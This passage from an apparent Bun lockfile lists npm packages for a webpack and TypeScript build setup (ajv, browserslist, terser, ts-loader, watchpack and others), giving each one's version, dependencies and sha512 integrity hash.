"ajv": ["ajv@8.18.0", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A=="],
"ajv-formats": ["ajv-formats@2.1.1", "", { "dependencies": { "ajv": "^8.0.0" } }, "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA=="],
"ajv-keywords": ["ajv-keywords@5.1.0", "", { "dependencies": { "fast-deep-equal": "^3.1.3" }, "peerDependencies": { "ajv": "^8.8.2" } }, "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw=="],
"ansi-styles": ["ansi-styles@4.3.0", "", { "dependencies": { "color-convert": "^2.0.1" } }, "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg=="],
"baseline-browser-mapping": ["baseline-browser-mapping@2.10.18", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-VSnGQAOLtP5mib/DPyg2/t+Tlv65NTBz83BJBJvmLVHHuKJVaDOBvJJykiT5TR++em5nfAySPccDZDa4oSrn8A=="],
"braces": ["braces@3.0.3", "", { "dependencies": { "fill-range": "^7.1.1" } }, "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA=="],
"browserslist": ["browserslist@4.28.2", "", { "dependencies": { "baseline-browser-mapping": "^2.10.12", "caniuse-lite": "^1.0.30001782", "electron-to-chromium": "^1.5.328", "node-releases": "^2.0.36", "update-browserslist-db": "^1.2.3" }, "bin": { "browserslist": "cli.js" } }, "sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg=="],
"buffer-from": ["buffer-from@1.1.2", "", {}, "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ=="],
"caniuse-lite": ["caniuse-lite@1.0.30001787", "", {}, "sha512-mNcrMN9KeI68u7muanUpEejSLghOKlVhRqS/Za2IeyGllJ9I9otGpR9g3nsw7n4W378TE/LyIteA0+/FOZm4Kg=="],
"chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="],
"chrome-trace-event": ["chrome-trace-event@1.0.4", "", {}, "sha512-rNjApaLzuwaOTjCiT8lSDdGN1APCiqkChLMJxJPWLunPAt5fy8xgU9/jNOchV84wfIxrA0lRQB7oCT8jrn/wrQ=="],
"clone-deep": ["clone-deep@4.0.1", "", { "dependencies": { "is-plain-object": "^2.0.4", "kind-of": "^6.0.2", "shallow-clone": "^3.0.0" } }, "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ=="],
"color-convert": ["color-convert@2.0.1", "", { "dependencies": { "color-name": "~1.1.4" } }, "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ=="],
"color-name": ["color-name@1.1.4", "", {}, "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="],
"colorette": ["colorette@2.0.20", "", {}, "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w=="],
"commander": ["commander@10.0.1", "", {}, "sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug=="],
"copy-webpack-plugin": ["copy-webpack-plugin@12.0.2", "", { "dependencies": { "fast-glob": "^3.3.2", "glob-parent": "^6.0.1", "globby": "^14.0.0", "normalize-path": "^3.0.0", "schema-utils": "^4.2.0", "serialize-javascript": "^6.0.2" }, "peerDependencies": { "webpack": "^5.1.0" } }, "sha512-SNwdBeHyII+rWvee/bTnAYyO8vfVdcSTud4EIb6jcZ8inLeWucJE0DnxXQBjlQ5zlteuuvooGQy3LIyGxhvlOA=="],
"cross-spawn": ["cross-spawn@7.0.6", "", { "dependencies": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", "which": "^2.0.1" } }, "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA=="],
"electron-to-chromium": ["electron-to-chromium@1.5.335", "", {}, "sha512-q9n5T4BR4Xwa2cwbrwcsDJtHD/enpQ5S1xF1IAtdqf5AAgqDFmR/aakqH3ChFdqd/QXJhS3rnnXFtexU7rax6Q=="],
"enhanced-resolve": ["enhanced-resolve@5.20.1", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.0" } }, "sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA=="],
"envinfo": ["envinfo@7.21.0", "", { "bin": { "envinfo": "dist/cli.js" } }, "sha512-Lw7I8Zp5YKHFCXL7+Dz95g4CcbMEpgvqZNNq3AmlT5XAV6CgAAk6gyAMqn2zjw08K9BHfcNuKrMiCPLByGafow=="],
"es-errors": ["es-errors@1.3.0", "", {}, "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw=="],
"es-module-lexer": ["es-module-lexer@2.0.0", "", {}, "sha512-5POEcUuZybH7IdmGsD8wlf0AI55wMecM9rVBTI/qEAy2c1kTOm3DjFYjrBdI2K3BaJjJYfYFeRtM0t9ssnRuxw=="],
"escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="],
"eslint-scope": ["eslint-scope@5.1.1", "", { "dependencies": { "esrecurse": "^4.3.0", "estraverse": "^4.1.1" } }, "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw=="],
"esrecurse": ["esrecurse@4.3.0", "", { "dependencies": { "estraverse": "^5.2.0" } }, "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag=="],
"estraverse": ["estraverse@4.3.0", "", {}, "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw=="],
"events": ["events@3.3.0", "", {}, "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q=="],
"fast-deep-equal": ["fast-deep-equal@3.1.3", "", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="],
"fast-glob": ["fast-glob@3.3.3", "", { "dependencies": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", "glob-parent": "^5.1.2", "merge2": "^1.3.0", "micromatch": "^4.0.8" } }, "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg=="],
"fast-uri": ["fast-uri@3.1.0", "", {}, "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA=="],
"fastest-levenshtein": ["fastest-levenshtein@1.0.16", "", {}, "sha512-eRnCtTTtGZFpQCwhJiUOuxPQWRXVKYDn0b2PeHfXL6/Zi53SLAzAHfVhVWK2AryC/WH05kGfxhFIPvTF0SXQzg=="],
"fastq": ["fastq@1.20.1", "", { "dependencies": { "reusify": "^1.0.4" } }, "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw=="],
"fill-range": ["fill-range@7.1.1", "", { "dependencies": { "to-regex-range": "^5.0.1" } }, "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg=="],
"find-up": ["find-up@4.1.0", "", { "dependencies": { "locate-path": "^5.0.0", "path-exists": "^4.0.0" } }, "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw=="],
"flat": ["flat@5.0.2", "", { "bin": { "flat": "cli.js" } }, "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ=="],
"function-bind": ["function-bind@1.1.2", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="],
"glob-parent": ["glob-parent@6.0.2", "", { "dependencies": { "is-glob": "^4.0.3" } }, "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A=="],
"glob-to-regexp": ["glob-to-regexp@0.4.1", "", {}, "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw=="],
"globby": ["globby@14.1.0", "", { "dependencies": { "@sindresorhus/merge-streams": "^2.1.0", "fast-glob": "^3.3.3", "ignore": "^7.0.3", "path-type": "^6.0.0", "slash": "^5.1.0", "unicorn-magic": "^0.3.0" } }, "sha512-0Ia46fDOaT7k4og1PDW4YbodWWr3scS2vAr2lTbsplOt2WkKp0vQbkI9wKis/T5LV/dqPjO3bpS/z6GTJB82LA=="],
"graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="],
"has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
"hasown": ["hasown@2.0.2", "", { "dependencies": { "function-bind": "^1.1.2" } }, "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ=="],
"ignore": ["ignore@7.0.5", "", {}, "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg=="],
"import-local": ["import-local@3.2.0", "", { "dependencies": { "pkg-dir": "^4.2.0", "resolve-cwd": "^3.0.0" }, "bin": { "import-local-fixture": "fixtures/cli.js" } }, "sha512-2SPlun1JUPWoM6t3F0dw0FkCF/jWY8kttcY4f599GLTSjh2OCuuhdTkJQsEcZzBqbXZGKMK2OqW1oZsjtf/gQA=="],
"interpret": ["interpret@3.1.1", "", {}, "sha512-6xwYfHbajpoF0xLW+iwLkhwgvLoZDfjYfoFNu8ftMoXINzwuymNLd9u/KmwtdT2GbR+/Cz66otEGEVVUHX9QLQ=="],
"is-core-module": ["is-core-module@2.16.1", "", { "dependencies": { "hasown": "^2.0.2" } }, "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w=="],
"is-extglob": ["is-extglob@2.1.1", "", {}, "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ=="],
"is-glob": ["is-glob@4.0.3", "", { "dependencies": { "is-extglob": "^2.1.1" } }, "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg=="],
"is-number": ["is-number@7.0.0", "", {}, "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng=="],
"is-plain-object": ["is-plain-object@2.0.4", "", { "dependencies": { "isobject": "^3.0.1" } }, "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og=="],
"isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="],
"isobject": ["isobject@3.0.1", "", {}, "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg=="],
"jest-worker": ["jest-worker@27.5.1", "", { "dependencies": { "@types/node": "*", "merge-stream": "^2.0.0", "supports-color": "^8.0.0" } }, "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg=="],
"json-parse-even-better-errors": ["json-parse-even-better-errors@2.3.1", "", {}, "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w=="],
"json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
"kind-of": ["kind-of@6.0.3", "", {}, "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="],
"loader-runner": ["loader-runner@4.3.1", "", {}, "sha512-IWqP2SCPhyVFTBtRcgMHdzlf9ul25NwaFx4wCEH/KjAXuuHY4yNjvPXsBokp8jCB936PyWRaPKUNh8NvylLp2Q=="],
"locate-path": ["locate-path@5.0.0", "", { "dependencies": { "p-locate": "^4.1.0" } }, "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g=="],
"merge-stream": ["merge-stream@2.0.0", "", {}, "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w=="],
"merge2": ["merge2@1.4.1", "", {}, "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg=="],
"micromatch": ["micromatch@4.0.8", "", { "dependencies": { "braces": "^3.0.3", "picomatch": "^2.3.1" } }, "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA=="],
"mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="],
"mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="],
"neo-async": ["neo-async@2.6.2", "", {}, "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw=="],
"node-releases": ["node-releases@2.0.37", "", {}, "sha512-1h5gKZCF+pO/o3Iqt5Jp7wc9rH3eJJ0+nh/CIoiRwjRxde/hAHyLPXYN4V3CqKAbiZPSeJFSWHmJsbkicta0Eg=="],
"normalize-path": ["normalize-path@3.0.0", "", {}, "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="],
"p-limit": ["p-limit@2.3.0", "", { "dependencies": { "p-try": "^2.0.0" } }, "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w=="],
"p-locate": ["p-locate@4.1.0", "", { "dependencies": { "p-limit": "^2.2.0" } }, "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A=="],
"p-try": ["p-try@2.2.0", "", {}, "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ=="],
"path-exists": ["path-exists@4.0.0", "", {}, "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w=="],
"path-key": ["path-key@3.1.1", "", {}, "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="],
"path-parse": ["path-parse@1.0.7", "", {}, "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="],
"path-type": ["path-type@6.0.0", "", {}, "sha512-Vj7sf++t5pBD637NSfkxpHSMfWaeig5+DKWLhcqIYx6mWQz5hdJTGDVMQiJcw1ZYkhs7AazKDGpRVji1LJCZUQ=="],
"picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="],
"picomatch": ["picomatch@2.3.2", "", {}, "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA=="],
"pkg-dir": ["pkg-dir@4.2.0", "", { "dependencies": { "find-up": "^4.0.0" } }, "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ=="],
"queue-microtask": ["queue-microtask@1.2.3", "", {}, "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A=="],
"randombytes": ["randombytes@2.1.0", "", { "dependencies": { "safe-buffer": "^5.1.0" } }, "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ=="],
"rechoir": ["rechoir@0.8.0", "", { "dependencies": { "resolve": "^1.20.0" } }, "sha512-/vxpCXddiX8NGfGO/mTafwjq4aFa/71pvamip0++IQk3zG8cbCj0fifNPrjjF1XMXUne91jL9OoxmdykoEtifQ=="],
"require-from-string": ["require-from-string@2.0.2", "", {}, "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw=="],
"resolve": ["resolve@1.22.12", "", { "dependencies": { "es-errors": "^1.3.0", "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-TyeJ1zif53BPfHootBGwPRYT1RUt6oGWsaQr8UyZW/eAm9bKoijtvruSDEmZHm92CwS9nj7/fWttqPCgzep8CA=="],
"resolve-cwd": ["resolve-cwd@3.0.0", "", { "dependencies": { "resolve-from": "^5.0.0" } }, "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg=="],
"resolve-from": ["resolve-from@5.0.0", "", {}, "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="],
"reusify": ["reusify@1.1.0", "", {}, "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw=="],
"run-parallel": ["run-parallel@1.2.0", "", { "dependencies": { "queue-microtask": "^1.2.2" } }, "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA=="],
"safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="],
"schema-utils": ["schema-utils@4.3.3", "", { "dependencies": { "@types/json-schema": "^7.0.9", "ajv": "^8.9.0", "ajv-formats": "^2.1.1", "ajv-keywords": "^5.1.0" } }, "sha512-eflK8wEtyOE6+hsaRVPxvUKYCpRgzLqDTb8krvAsRIwOGlHoSgYLgBXoubGgLd2fT41/OUYdb48v4k4WWHQurA=="],
"semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="],
"serialize-javascript": ["serialize-javascript@6.0.2", "", { "dependencies": { "randombytes": "^2.1.0" } }, "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g=="],
"shallow-clone": ["shallow-clone@3.0.1", "", { "dependencies": { "kind-of": "^6.0.2" } }, "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA=="],
"shebang-command": ["shebang-command@2.0.0", "", { "dependencies": { "shebang-regex": "^3.0.0" } }, "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA=="],
"shebang-regex": ["shebang-regex@3.0.0", "", {}, "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="],
"slash": ["slash@5.1.0", "", {}, "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg=="],
"source-map": ["source-map@0.7.6", "", {}, "sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ=="],
"source-map-support": ["source-map-support@0.5.21", "", { "dependencies": { "buffer-from": "^1.0.0", "source-map": "^0.6.0" } }, "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w=="],
"supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="],
"supports-preserve-symlinks-flag": ["supports-preserve-symlinks-flag@1.0.0", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="],
"tapable": ["tapable@2.3.2", "", {}, "sha512-1MOpMXuhGzGL5TTCZFItxCc0AARf1EZFQkGqMm7ERKj8+Hgr5oLvJOVFcC+lRmR8hCe2S3jC4T5D7Vg/d7/fhA=="],
"terser": ["terser@5.46.1", "", { "dependencies": { "@jridgewell/source-map": "^0.3.3", "acorn": "^8.15.0", "commander": "^2.20.0", "source-map-support": "~0.5.20" }, "bin": { "terser": "bin/terser" } }, "sha512-vzCjQO/rgUuK9sf8VJZvjqiqiHFaZLnOiimmUuOKODxWL8mm/xua7viT7aqX7dgPY60otQjUotzFMmCB4VdmqQ=="],
"terser-webpack-plugin": ["terser-webpack-plugin@5.4.0", "", { "dependencies": { "@jridgewell/trace-mapping": "^0.3.25", "jest-worker": "^27.4.5", "schema-utils": "^4.3.0", "terser": "^5.31.1" }, "peerDependencies": { "webpack": "^5.1.0" } }, "sha512-Bn5vxm48flOIfkdl5CaD2+1CiUVbonWQ3KQPyP7/EuIl9Gbzq/gQFOzaMFUEgVjB1396tcK0SG8XcNJ/2kDH8g=="],
"to-regex-range": ["to-regex-range@5.0.1", "", { "dependencies": { "is-number": "^7.0.0" } }, "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ=="],
"ts-loader": ["ts-loader@9.5.7", "", { "dependencies": { "chalk": "^4.1.0", "enhanced-resolve": "^5.0.0", "micromatch": "^4.0.0", "semver": "^7.3.4", "source-map": "^0.7.4" }, "peerDependencies": { "typescript": "*", "webpack": "^5.0.0" } }, "sha512-/ZNrKgA3K3PtpMYOC71EeMWIloGw3IYEa5/t1cyz2r5/PyUwTXGzYJvcD3kfUvmhlfpz1rhV8B2O6IVTQ0avsg=="],
"typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="],
"undici-types": ["undici-types@7.19.2", "", {}, "sha512-qYVnV5OEm2AW8cJMCpdV20CDyaN3g0AjDlOGf1OW4iaDEx8MwdtChUp4zu4H0VP3nDRF/8RKWH+IPp9uW0YGZg=="],
"unicorn-magic": ["unicorn-magic@0.3.0", "", {}, "sha512-+QBBXBCvifc56fsbuxZQ6Sic3wqqc3WWaqxs58gvJrcOuN83HGTCwz3oS5phzU9LthRNE9VrJCFCLUgHeeFnfA=="],
"update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="],
"watchpack": ["watchpack@2.5.1", "", { "dependencies": { "glob-to-regexp": "^0.4.1", "graceful-fs": "^4.1.2" } }, "sha512-Zn5uXdcFNIA1+1Ei5McRd+iRzfhENPCe7LeABkJtNulSxjma+l7ltNx55BWZkRlwRnpOgHqxnjyaDgJnNXnqzg=="],
